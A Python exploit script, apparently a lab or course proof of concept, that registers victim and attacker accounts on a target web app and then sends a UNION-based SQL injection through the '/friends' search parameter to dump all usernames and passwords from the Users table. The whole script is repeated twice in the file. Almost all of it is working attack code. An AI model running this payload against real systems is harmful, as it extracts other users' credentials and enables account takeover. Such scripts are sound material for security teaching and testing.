<gh_stars>0
from requests import session, get
from sys import argv
from random import randint

SERVER = argv[1]

victimSession = session()
victimUsername = str(randint(2 ** 27, 2 ** 28))
victimPassword = str(randint(2 ** 27, 2 ** 28))
attackerSession = session()
attackerUsername = str(randint(2 ** 27, 2 ** 28))
attackerPassword = str(randint(2 ** 27, 2 ** 28))

# Cleaning DB
r = get(SERVER + "/init")
assert "Initialisation DONE!" in r.text

data = {
    "username": victimUsername,
    "password": <PASSWORD>
}
r = victimSession.post(SERVER + "/register", data=data)

assert victimUsername in r.text

data = {
    "username": attackerUsername,
    "password": <PASSWORD>
}
r = attackerSession.post(SERVER + "/register", data=data)

assert "Welcome" in r.text
assert attackerUsername in r.text

params = {
    "search": "' AND 1 <> 1 UNION SELECT USERNAME, 1, NAME, PASSWORD, 1 FROM Users -- "
}
r = attackerSession.get(SERVER + "/friends", params=params)

assert victimUsername in r.text
assert victimPassword in r.text
assert attackerUsername in r.text
assert attackerPassword in r.text

print("Success!")
victimSession.close()
attackerSession.close()

from requests import session, get
from sys import argv
from random import randint

SERVER = argv[1]

victimSession = session()
victimUsername = str(randint(2 ** 27, 2 ** 28))
victimPassword = str(randint(2 ** 27, 2 ** 28))
attackerSession = session()
attackerUsername = str(randint(2 ** 27, 2 ** 28))
attackerPassword = str(randint(2 ** 27, 2 ** 28))

# Cleaning DB
r = get(SERVER + "/init")
assert "Initialisation DONE!" in r.text

data = {
    "username": victimUsername,
    "password": <PASSWORD>
}
r = victimSession.post(SERVER + "/register", data=data)

assert victimUsername in r.text

data = {
    "username": attackerUsername,
    "password": <PASSWORD>
}
r = attackerSession.post(SERVER + "/register", data=data)

assert "Welcome" in r.text
assert attackerUsername in r.text

params = {
    "search": "' AND 1 <> 1 UNION SELECT USERNAME, 1, NAME, PASSWORD, 1 FROM Users -- "
}
r = attackerSession.get(SERVER + "/friends", params=params)

assert victimUsername in r.text
assert victimPassword in r.text
assert attackerUsername in r.text
assert attackerPassword in r.text

print("Success!")
victimSession.close()
attackerSession.close()
# Cleaning DB